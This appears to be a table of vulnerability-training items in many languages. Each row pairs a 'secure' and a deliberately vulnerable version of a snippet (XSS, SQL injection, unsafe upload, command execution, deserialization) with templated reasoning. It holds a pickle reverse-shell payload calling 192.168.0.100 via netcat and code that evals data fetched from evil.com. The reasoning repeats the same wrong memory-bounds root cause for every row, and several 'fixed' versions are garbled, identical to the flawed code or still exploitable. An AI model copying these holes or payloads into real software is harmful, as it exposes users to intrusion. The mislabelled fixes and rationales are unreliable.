function createUser(username, password) {
// Assume this function is used to create a new user.
// It checks if the username or password contains any potentially harmful HTML tags.
// If found, it will be removed.
let user = {
username: escapeHTML(username),
password: escap... | <think>
Target: javascript implementation for Write a javascript code that creates a new user object with a given us.
Vulnerability Vector: Improper input validation or sanitization can lead to Cross-Site Scripting (XSS) (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function createUser(username, password) {
// Assume this function is used to create a new user.
// However, it does not check if the username or password contains any potentially harmful HTML tags.
let user = {
username: username,
password: password
};
// Store the user... | 393 | 0.64 |
cyber_7e50f38f64d6 | vulnerability_research_cve | CWE-78 | Write a php code that allows users to upload an image file. The image file will be stored in a directory named 'uploads'. The user can select an image from their local system and click on 'Upload Image' button to upload the selected image. | Target: php implementation for Write a php code that allows users to upload an image file. The image .
Vulnerability Vector: Unvalidated file uploads can lead to arbitrary file execution, potentially leadi (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
function uploadFile() {
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
// Validate fi... | <think>
Target: php implementation for Write a php code that allows users to upload an image file. The image .
Vulnerability Vector: Unvalidated file uploads can lead to arbitrary file execution, potentially leadi (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
function uploadFile() {
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
}
if(isset($_POST["submit"])) {
uploadFile();
}
?>
<form method="post" enctype="multipart/form-d... | 576 | 0.44 |
cyber_6b4ec2dcd61c | vulnerability_research_cve | CWE-787 | Write a swift code that creates an array of integers, allocates memory for it using UnsafeMutablePointer, initializes the allocated memory with the values from the array, changes the value at a specific index in the array, retrieves a value from a specific index in the array, deallocates the memory and returns the retr... | Target: swift implementation for Write a swift code that creates an array of integers, allocates memory.
Vulnerability Vector: Swift's `UnsafePointer` and `UnsafeMutablePointer` types allow direct memory acc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func goodFunction() -> Int? {
let array = [10, 20, 30, 40, 50]
guard array.count > 0 else {
return nil
}
let pointer = UnsafeMutablePointer<Int>.allocate(capacity: array.count)
pointer.initialize(from: array)
let index = 2 // Changed the index to a v... | <think>
Target: swift implementation for Write a swift code that creates an array of integers, allocates memory.
Vulnerability Vector: Swift's `UnsafePointer` and `UnsafeMutablePointer` types allow direct memory acc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func badFunction() -> Int {
let array = [10, 20, 30, 40, 50]
let pointer = UnsafeMutablePointer<Int>.allocate(capacity: array.count)
pointer.initialize(from: array)
let index = 10
let value = 99
pointer[index] = value
let result = pointer[3]
pointer.... | 299 | 0.69 |
cyber_33942a2cdcc3 | vulnerability_research_cve | CWE-20 | Write a go code that prints an element from an array at a specific index. The array contains elements [1, 2, 3]. Print the 5th element of the array which does not exist and will cause a panic. | Target: go implementation for Write a go code that prints an element from an array at a specific ind.
Vulnerability Vector: The Go runtime panics when indexing out of bounds in a slice or array, which cou (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
)
func main() {
arr := []int{1, 2, 3}
index := 4
if index < len(arr) {
fmt.Println(arr[index])
} else {
fmt.Println("Index out of range")
}
}
``` | <think>
Target: go implementation for Write a go code that prints an element from an array at a specific ind.
Vulnerability Vector: The Go runtime panics when indexing out of bounds in a slice or array, which cou (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "fmt"
func main() {
arr := []int{1, 2, 3}
fmt.Println(arr[4]) // This will cause a panic
}
``` | 199 | 0.63 |
cyber_6a76bdedd448 | vulnerability_research_cve | CWE-20 | Write a fortran code that compares two numbers and prints which one is greater. If the first number is greater, it will print 'x is greater than y'. Otherwise, it will print 'y is greater than x'. If the first number is not greater, it will print 'Program ended'. | Target: fortran implementation for Write a fortran code that compares two numbers and prints which one is.
Vulnerability Vector: The use of 'goto' statement in Fortran can lead to spaghetti code and hard-to-fi (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
real :: x, y
x = 10.0
y = 20.0
if (x > y) then
print*, "x is greater than y"
else
print*, "y is greater than x"
print*, "Program ended"
end if
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that compares two numbers and prints which one is.
Vulnerability Vector: The use of 'goto' statement in Fortran can lead to spaghetti code and hard-to-fi (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i, j
real :: x, y
x = 10.0
y = 20.0
i = 1
j = 2
goto 100
50 if (x > y) then
print*, "x is greater than y"
else
print*, "y is greater than x"
end if
stop
100 if (i < j) then
goto 50
else
... | 204 | 1.11 |
cyber_8ffe76a1663e | vulnerability_research_cve | CWE-78 | Write a python code that imports the pickle and os modules. Define a class named RCE which has a special method __reduce__ that returns a tuple containing the os.system function and a string argument 'nc -e /bin/bash 192.168.0.100 4444'. Serialize an instance of this class using pickle.dumps() and print the result. | Target: python implementation for Write a python code that imports the pickle and os modules. Define a c.
Vulnerability Vector: Pickle module usage without proper validation or encryption can lead to Remote C (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import pickle
import os
import subprocess
class RCE:
def __init__(self):
self.command = 'nc -e /bin/bash 192.168.0.100 4444'
def __reduce__(self):
return (subprocess.Popen, (self.command,))
rce_instance = RCE()
pickled = pickle.dumps(rce_instance)
print(pickled)
``` | <think>
Target: python implementation for Write a python code that imports the pickle and os modules. Define a c.
Vulnerability Vector: Pickle module usage without proper validation or encryption can lead to Remote C (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('nc -e /bin/bash 192.168.0.100 4444',))
pickled = pickle.dumps(RCE())
print(pickled)
``` | 225 | 0.69 |
cyber_c20a6847efff | vulnerability_research_cve | CWE-476 | Write a java code that creates a `User` object and prints out the length of the user's name. If the user's name is not initialized, it will print out 0 because `null` has no length. | Target: java implementation for Write a java code that creates a `User` object and prints out the leng.
Vulnerability Vector: Potential NullPointerException due to null object references. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: Enforce... | ```java
public class Main {
public static void main(String[] args) {
User user = new User();
if (user.getName() != null) {
System.out.println(user.getName().length());
} else {
System.out.println(0);
}
}
}
class User {
private String name;
public... | <think>
Target: java implementation for Write a java code that creates a `User` object and prints out the leng.
Vulnerability Vector: Potential NullPointerException due to null object references. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy:... | ```java
public class Main {
public static void main(String[] args) {
User user = new User();
System.out.println(user.getName().length());
}
}
class User {
private String name;
public String getName() {
return this.name;
}
}
``` | 214 | 0.71 |
cyber_1f0ac7a11406 | vulnerability_research_cve | CWE-639 | Write a javascript code that defines an object `userData` with properties `username`, `password` and `email`. Define a function `getUserData` which takes two parameters `req` and `res`. This function gets the `userId` from the request parameters, finds the corresponding user in the `users` array using the `userId`. If ... | Target: javascript implementation for Write a javascript code that defines an object `userData` with propert.
Vulnerability Vector: Insecure direct object references in JavaScript can lead to unauthorized access (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```javascript
let users = [{
id: 1,
username: 'john',
password: 'password123',
email: 'john@example.com'
}];
function getUserData(req, res) {
let userId = parseInt(req.params.userId);
let user = users.find(u => u.id === userId); // Secure direct object reference
if (!user) {
return... | <think>
Target: javascript implementation for Write a javascript code that defines an object `userData` with propert.
Vulnerability Vector: Insecure direct object references in JavaScript can lead to unauthorized access (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutat... | ```javascript
let userData = {
username: 'john',
password: 'password123',
email: 'john@example.com'
};
function getUserData(req, res) {
let userId = req.params.userId;
let user = users[userId]; // Insecure direct object reference
if (!user) {
return res.status(404).send('User not found... | 353 | 0.59 |
cyber_562e211fd837 | vulnerability_research_cve | CWE-20 | Write a go code that creates a linked list of 'n' nodes, where each node contains an integer value starting from 0 and incrementing by 1. The function `createList` should take an integer 'n' as input and return the head of the created linked list. In the `main` function, call `createList` with 'n' as 5 and print out al... | Target: go implementation for Write a go code that creates a linked list of 'n' nodes, where each no.
Vulnerability Vector: Go does not support automatic memory management, which can lead to memory leaks (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"runtime"
)
type Node struct {
value int
next *Node
}
func createList(n int) *Node {
head := &Node{value: 0}
current := head
for i := 1; i < n; i++ {
node := &Node{value: i}
current.next = node
current = node
}
return head
}
func freeList(head *Node) {
var next *No... | <think>
Target: go implementation for Write a go code that creates a linked list of 'n' nodes, where each no.
Vulnerability Vector: Go does not support automatic memory management, which can lead to memory leaks (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "fmt"
type Node struct {
value int
next *Node
}
func createList(n int) *Node {
head := &Node{value: 0}
current := head
for i := 1; i < n; i++ {
node := &Node{value: i}
current.next = node
current = node
}
return head
}
func main() {
h... | 349 | 0.64 |
cyber_630aeaa4344c | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates three classes A, B and C where class A is the superclass and classes B and C are subclasses of A. Class B overrides the print function from class A to print 'B' and class C also overrides the print function from class A to print 'C'. Create another class D which inherits from both B and... | Target: kotlin implementation for Write a kotlin code that creates three classes A, B and C where class .
Vulnerability Vector: Kotlin allows multiple inheritance but it's not safe as it is prone to the Diamo (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
open class A {
open fun print() {
println("A")
}
}
open class B : A() {
override fun print() {
println("B")
}
}
open class C : A() {
override fun print() {
println("C")
}Bs
}
class D : B(), C() {
override fun print() {
super<B>.print()
}
}
fu... | <think>
Target: kotlin implementation for Write a kotlin code that creates three classes A, B and C where class .
Vulnerability Vector: Kotlin allows multiple inheritance but it's not safe as it is prone to the Diamo (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
open class A {
open fun print() {
println("A")
}
}
open class B : A() {
override fun print() {
println("B")
}
}
open class C : A() {
override fun print() {
println("C")
}
}
class D : B(), C() {
// No implementation here
}
fun main(args: Array<String>) {
... | 266 | 0.83 |
cyber_d2f20e83d97e | vulnerability_research_cve | CWE-89 | Write a python code that connects to an SQLite database named 'mydatabase.db'. The code should have a function called 'get_user_info' which takes a username as input, constructs a SQL query to fetch information about the user from the 'users' table in the database where the username matches the input. If the input user... | Target: python implementation for Write a python code that connects to an SQLite database named 'mydatab.
Vulnerability Vector: There is a possibility of SQL injection vulnerability in Python if raw SQL queri (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import sqlite3
def get_user_info(username):
conn = sqlite3.connect('mydatabase.db')
cursor = conn.cursor()
# Use parameterized inputs to prevent SQL injection
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
result = cursor.fetchone()
return result
# Example usag... | <think>
Target: python implementation for Write a python code that connects to an SQLite database named 'mydatab.
Vulnerability Vector: There is a possibility of SQL injection vulnerability in Python if raw SQL queri (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import sqlite3
def get_user_info(username):
conn = sqlite3.connect('mydatabase.db')
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = '" + username + "'"
cursor.execute(query)
result = cursor.fetchone()
return result
# Example usage
print(get_user_info("test' OR '1... | 217 | 0.82 |
cyber_a3c5935de8fa | vulnerability_research_cve | CWE-78 | Write a java code that serializes a string object, then deserializes it back into an object and executes it using the Runtime.getRuntime().exec() method. | Target: java implementation for Write a java code that serializes a string object, then deserializes i.
Vulnerability Vector: Insecure deserialization of objects from untrusted sources can lead to Remote Co (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("maliciousCode");
... | <think>
Target: java implementation for Write a java code that serializes a string object, then deserializes i.
Vulnerability Vector: Insecure deserialization of objects from untrusted sources can lead to Remote Co (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("maliciousCode");
byte[] bytes = bos.to... | 498 | 0.48 |
cyber_56d3feb8128e | vulnerability_research_cve | CWE-79 | Write a javascript code that creates a server using http module and listens on port 8080. The server should respond with an HTML heading tag containing the text from the query parameter 'text' in the URL. | Target: javascript implementation for Write a javascript code that creates a server using http module and li.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript applications are common (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const http = require('http');
const url = require('url');
http.createServer(function (req, res) {
const parsedUrl = url.parse(req.url, true);
let txt = '';
if (parsedUrl.query.text) {
txt = parsedUrl.query.text;
// Replace special characters to prevent XSS attacks
txt ... | <think>
Target: javascript implementation for Write a javascript code that creates a server using http module and li.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript applications are common (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
http.createServer(function (req, res) {
var q = url.parse(req.url, true).query;
var txt = q.text;
res.writeHead(200, {'Content-Type': 'text/html'});
res.write("<h1>" + txt + "</h1>");
res.end();
}).listen(8080);
``` | 286 | 0.6 |
cyber_5b7ee3e6ee85 | vulnerability_research_cve | CWE-78 | Write a c# code that creates a User object, sets its name and password properties, then serializes it into binary format. Afterwards, it deserializes the binary data back into a User object and prints out the received user's name. | Target: c# implementation for Write a c# code that creates a User object, sets its name and password.
Vulnerability Vector: Insecure deserialization of objects can lead to Remote Code Execution vulnerabil (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Cryptography;
[Serializable]
public class User
{
public string Name { get; set; }
public byte[] Password { get; set; }
}
class Program
{
static void Main(string[] args)
{
User user ... | <think>
Target: c# implementation for Write a c# code that creates a User object, sets its name and password.
Vulnerability Vector: Insecure deserialization of objects can lead to Remote Code Execution vulnerabil (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
[Serializable]
public class User
{
public string Name { get; set; }
public string Password { get; set; }
}
class Program
{
static void Main(string[] args)
{
User user = new User();
user.Name = "A... | 479 | 0.72 |
cyber_828f1b150e21 | vulnerability_research_cve | CWE-787 | Write a fortran code that declares a variable named 'name' of type character with length 20. Assign the value 'ThisIsAVeryLongName' to the variable 'name'. Then, print out the value of 'name'. | Target: fortran implementation for Write a fortran code that declares a variable named 'name' of type cha.
Vulnerability Vector: A buffer overflow vulnerability in Fortran could occur if the programmer does no (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=20) :: name
name = "ThisIsAVeryLongName"
print*, name
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that declares a variable named 'name' of type cha.
Vulnerability Vector: A buffer overflow vulnerability in Fortran could occur if the programmer does no (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=20) :: name
name = "ThisIsAVeryLongName"
print*, name
end program main
``` | 156 | 0.76 |
cyber_ef8cd4de9eb5 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes string.h and stdio.h libraries. Define a function named 'copyString' which takes two character pointers as parameters. This function should use the strcpy function from the string library to copy the content of the source string to the destination string. In the main function, declare two... | Target: c++ implementation for Write a c++ code that includes string.h and stdio.h libraries. Define .
Vulnerability Vector: The use of 'strcpy' function without checking the array size can lead to buffer (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <string.h>
#include <stdio.h>
void copyString(char* dest, const char* src, size_t destSize) {
strncpy(dest, src, destSize - 1); // Use strncpy instead of strcpy to avoid buffer overflow
dest[destSize - 1] = '\0'; // Ensure null termination
}
int main() {
char src[20] = "Hello World!"; // I... | <think>
Target: c++ implementation for Write a c++ code that includes string.h and stdio.h libraries. Define .
Vulnerability Vector: The use of 'strcpy' function without checking the array size can lead to buffer (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <string.h>
#include <stdio.h>
void copyString(char* dest, char* src) {
strcpy(dest, src);
}
int main() {
char src[10] = "Hello World!";
char dest[5];
copyString(dest, src);
printf("%s", dest);
return 0;
}
``` | 298 | 0.58 |
cyber_34c2bb4cc33a | vulnerability_research_cve | CWE-89 | Write a python code that uses Flask and SQLite3 to create a web application. The application should have a route '/user/<username>' which takes a username as an argument. When this route is accessed, it should connect to a SQLite database named 'users.db', select all rows from a table named 'users' where the 'username'... | Target: python implementation for Write a python code that uses Flask and SQLite3 to create a web applic.
Vulnerability Vector: Incorrect input validation in Python can lead to injection attacks if not handle (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import sqlite3
from flask import Flask, request
app = Flask(__name__)
@app.route('/user/<username>')
def get_user(username):
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
# Use parameterized queries to prevent SQL injection
query = "SELECT * FROM users WHERE username = ?"
res... | <think>
Target: python implementation for Write a python code that uses Flask and SQLite3 to create a web applic.
Vulnerability Vector: Incorrect input validation in Python can lead to injection attacks if not handle (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import sqlite3
from flask import Flask, request
app = Flask(__name__)
@app.route('/user/<username>')
def get_user(username):
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = '" + username + "'"
result = cursor.execute(query)
return r... | 245 | 0.82 |
cyber_9f4c48c3ffb9 | vulnerability_research_cve | CWE-787 | Write a java code that creates an array of size 10 and fills it with numbers from 0 to 9. | Target: java implementation for Write a java code that creates an array of size 10 and fills it with n.
Vulnerability Vector: The Java programming language is susceptible to buffer overflow attacks due to t (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
public class Main {
public static void main(String[] args) {
int[] arr = new int[10];
for (int i = 0; i < arr.length; i++) {
arr[i] = i;
}
}
}
``` | <think>
Target: java implementation for Write a java code that creates an array of size 10 and fills it with n.
Vulnerability Vector: The Java programming language is susceptible to buffer overflow attacks due to t (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
public class Main {
public static void main(String[] args) {
int[] arr = new int[10];
for (int i = 0; i <= 10; i++) {
arr[i] = i;
}
}
}
``` | 178 | 0.79 |
cyber_7d82c5a6b55a | vulnerability_research_cve | CWE-78 | Write a ruby code that fetches data from a given URL and then processes the fetched data using the `eval` function. The URL should be specified in the code. | Target: ruby implementation for Write a ruby code that fetches data from a given URL and then processe.
Vulnerability Vector: The lack of input validation or sanitization in Ruby can lead to Code Injection (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'open-uri'
require 'net/http'
require 'uri'
def fetch_data(url)
uri = URI.parse(url)
raise ArgumentError, 'Invalid URL' unless uri.is_a?(URI::HTTP)
response = Net::HTTP.get_response(uri)
raise StandardError, 'Failed to fetch data' unless response.is_a?(Net::HTTPSuccess)
response.body
en... | <think>
Target: ruby implementation for Write a ruby code that fetches data from a given URL and then processe.
Vulnerability Vector: The lack of input validation or sanitization in Ruby can lead to Code Injection (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'open-uri'
def fetch_data(url)
open(url).read
end
def process_data(data)
eval(data)
end
url = "http://evil.com/malicious_code.txt"
data = fetch_data(url)
process_data(data)
``` | 400 | 0.39 |
cyber_929e2815ef01 | vulnerability_research_cve | CWE-787 | Write a fortran code that declares a variable named 'name' of type character with length 10. Assign the value 'abcdefghijklmnopqrstuvwxyz' to the variable 'name'. Then, print the value of 'name'. | Target: fortran implementation for Write a fortran code that declares a variable named 'name' of type cha.
Vulnerability Vector: Potential buffer overflow vulnerability due to insufficient memory allocation fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=26) :: name
name = "abcdefghijklmnopqrstuvwxyz"
print*, name
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that declares a variable named 'name' of type cha.
Vulnerability Vector: Potential buffer overflow vulnerability due to insufficient memory allocation fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=10) :: name
name = "abcdefghijklmnopqrstuvwxyz"
print*, name
end program main
``` | 161 | 0.78 |
cyber_f8315421b6b6 | vulnerability_research_cve | CWE-20 | Write a ruby code that reads a file from a given filename. If the filename contains '../', it should return 'Invalid filename'. Otherwise, it should read and return the content of the file. | Target: ruby implementation for Write a ruby code that reads a file from a given filename. If the file.
Vulnerability Vector: In Ruby, improper handling of file operations can lead to potential file travers (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'pathname'
def read_file(filename)
File.read(filename)
end
def handle_request(params)
filename = params[:filename]
begin
path = Pathname.new(filename)
if path.absolute?
return "Invalid filename"
end
read_file(filename)
rescue ArgumentError => e
return "Invalid filenam... | <think>
Target: ruby implementation for Write a ruby code that reads a file from a given filename. If the file.
Vulnerability Vector: In Ruby, improper handling of file operations can lead to potential file travers (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
def read_file(filename)
File.read(filename)
end
def handle_request(params)
filename = params[:filename]
if filename.include?("../") # this is a basic check for path traversal
return "Invalid filename"
end
read_file(filename)
end
puts handle_request({filename: "../etc/passwd"})
``` | 230 | 0.74 |
cyber_6c57f1787bbd | vulnerability_research_cve | CWE-20 | Write a swift code that fetches user data from a remote server and prints it out. The user data should be in the form of a struct named 'User' which has properties 'name' and 'age'. If the data cannot be fetched or decoded into a 'User', print 'nil'. | Target: swift implementation for Write a swift code that fetches user data from a remote server and pri.
Vulnerability Vector: In Swift, a potential vulnerability could be unchecked error handling in the JSO (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
struct User {
let name: String
let age: Int
}
enum FetchError: Error {
case invalidURL
case dataFetchFailed(Error)
case decodeFailed(Error)
}
func fetchUser() throws -> User? {
guard let url = URL(string: "http://example.com/user") else { throw FetchError.invalidURL... | <think>
Target: swift implementation for Write a swift code that fetches user data from a remote server and pri.
Vulnerability Vector: In Swift, a potential vulnerability could be unchecked error handling in the JSO (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
struct User {
let name: String
let age: Int
}
func fetchUser() -> User? {
guard let url = URL(string: "http://example.com/user") else { return nil }
do {
let data = try Data(contentsOf: url)
let jsonDecoder = JSONDecoder()
let user = try jsonDeco... | 408 | 0.54 |
cyber_d86e1d61d05a | vulnerability_research_cve | CWE-78 | Write a java code that reads a line from the standard input and executes it as a command using the Runtime.getRuntime().exec() method. | Target: java implementation for Write a java code that reads a line from the standard input and execut.
Vulnerability Vector: Improper Input Validation in Java can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: E... | ```java
import java.io.*;
import java.util.*;
public class SecureOptimizedClass {
private static final List<String> ALLOWED_COMMANDS = Arrays.asList("ls", "pwd");
public static void main(String[] args) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
... | <think>
Target: java implementation for Write a java code that reads a line from the standard input and execut.
Vulnerability Vector: Improper Input Validation in Java can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Str... | ```java
import java.io.*;
import java.util.*;
public class VulnerableClass {
public static void main(String[] args) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String input = reader.readLine();
Runtime.getRuntime().exec(input);
}
}
``... | 321 | 0.5 |
cyber_c9e85e567b02 | vulnerability_research_cve | CWE-79 | Write a javascript code that retrieves the value from an HTML input element with id 'userInput' and displays it in an HTML element with id 'display' when a button is clicked. | Target: javascript implementation for Write a javascript code that retrieves the value from an HTML input el.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript can allow attackers to (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function getUserInput() {
var userInput = document.getElementById('userInput').value;
// Encode user input to prevent XSS attacks
var encodedUserInput = encodeURIComponent(userInput);
document.getElementById('display').textContent = encodedUserInput;
}
``` | <think>
Target: javascript implementation for Write a javascript code that retrieves the value from an HTML input el.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities in JavaScript can allow attackers to (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function getUserInput() {
var userInput = document.getElementById('userInput').value;
document.getElementById('display').innerHTML = userInput;
}
``` | 181 | 0.64 |
cyber_5c9762f4b601 | vulnerability_research_cve | CWE-78 | Write a python code that imports the subprocess module. Define a function named 'execute_command' that takes a string 'user_input' as an argument. Inside this function, create a variable 'command' and assign it the value of 'user_input'. Then, create a subprocess using the subprocess.Popen method, passing in 'command' ... | Target: python implementation for Write a python code that imports the subprocess module. Define a funct.
Vulnerability Vector: A lack of input validation or sanitization can lead to command injection vulnera (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import shlex
import subprocess
def execute_command(user_input):
command = shlex.split(user_input)
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
return output, error
user_input = "ls; rm -rf *"
execute_command(user_in... | <think>
Target: python implementation for Write a python code that imports the subprocess module. Define a funct.
Vulnerability Vector: A lack of input validation or sanitization can lead to command injection vulnera (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import subprocess
def execute_command(user_input):
command = user_input
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
return output, error
user_input = "ls; rm -rf *"
execute_command(user_input)
``` | 211 | 0.81 |
cyber_c4eee81d7bf4 | vulnerability_research_cve | CWE-20 | Write a javascript code that takes in a string input from a user and evaluates it using the eval() function. The string should be an alert message saying 'Hello, World'. | Target: javascript implementation for Write a javascript code that takes in a string input from a user and e.
Vulnerability Vector: Incorrect usage of the 'eval' function can lead to arbitrary code execution. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```javascript
let userInput = "alert('Hello, World');";
new Function(userInput)();
``` | <think>
Target: javascript implementation for Write a javascript code that takes in a string input from a user and e.
Vulnerability Vector: Incorrect usage of the 'eval' function can lead to arbitrary code execution. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```javascript
let userInput = "alert('Hello, World');";
eval(userInput);
``` | 135 | 0.72 |
cyber_f14d744c0677 | vulnerability_research_cve | CWE-20 | Write a c# code that uses WebClient to download a string from a specified URL and print it out on the console. If an exception occurs during the process, re-throw the exception. | Target: c# implementation for Write a c# code that uses WebClient to download a string from a specif.
Vulnerability Vector: Improper handling of exceptions in C# can lead to potential security issues, suc (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Net;
public class WebClientExample
{
public static void Main()
{
using (WebClient client = new WebClient())
{
try
{
string reply = client.DownloadString("http://example.com");
Console.WriteLine(reply);
... | <think>
Target: c# implementation for Write a c# code that uses WebClient to download a string from a specif.
Vulnerability Vector: Improper handling of exceptions in C# can lead to potential security issues, suc (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Net;
public class WebClientExample
{
public static void Main()
{
WebClient client = new WebClient();
try
{
string reply = client.DownloadString("http://example.com");
Console.WriteLine(reply);
}
catch (Exception ex... | 284 | 0.61 |
cyber_f4130f333483 | vulnerability_research_cve | CWE-20 | Write a php code that sets a variable named 'variable' to the string 'Hello World'. Then, extract all the variables from the GET request and echo the value of the 'variable'. | Target: php implementation for Write a php code that sets a variable named 'variable' to the string '.
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used properly, as i (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$variable = "Hello World";
// This is the fixed line
if(isset($_GET['variable'])) {
$variable = $_GET['variable'];
}
echo $variable;妆 ♥
?>
``` | <think>
Target: php implementation for Write a php code that sets a variable named 'variable' to the string '.
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used properly, as i (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$variable = "Hello World";
// This is the vulnerable line
extract($_GET);
echo $variable;
?>
``` | 170 | 0.64 |
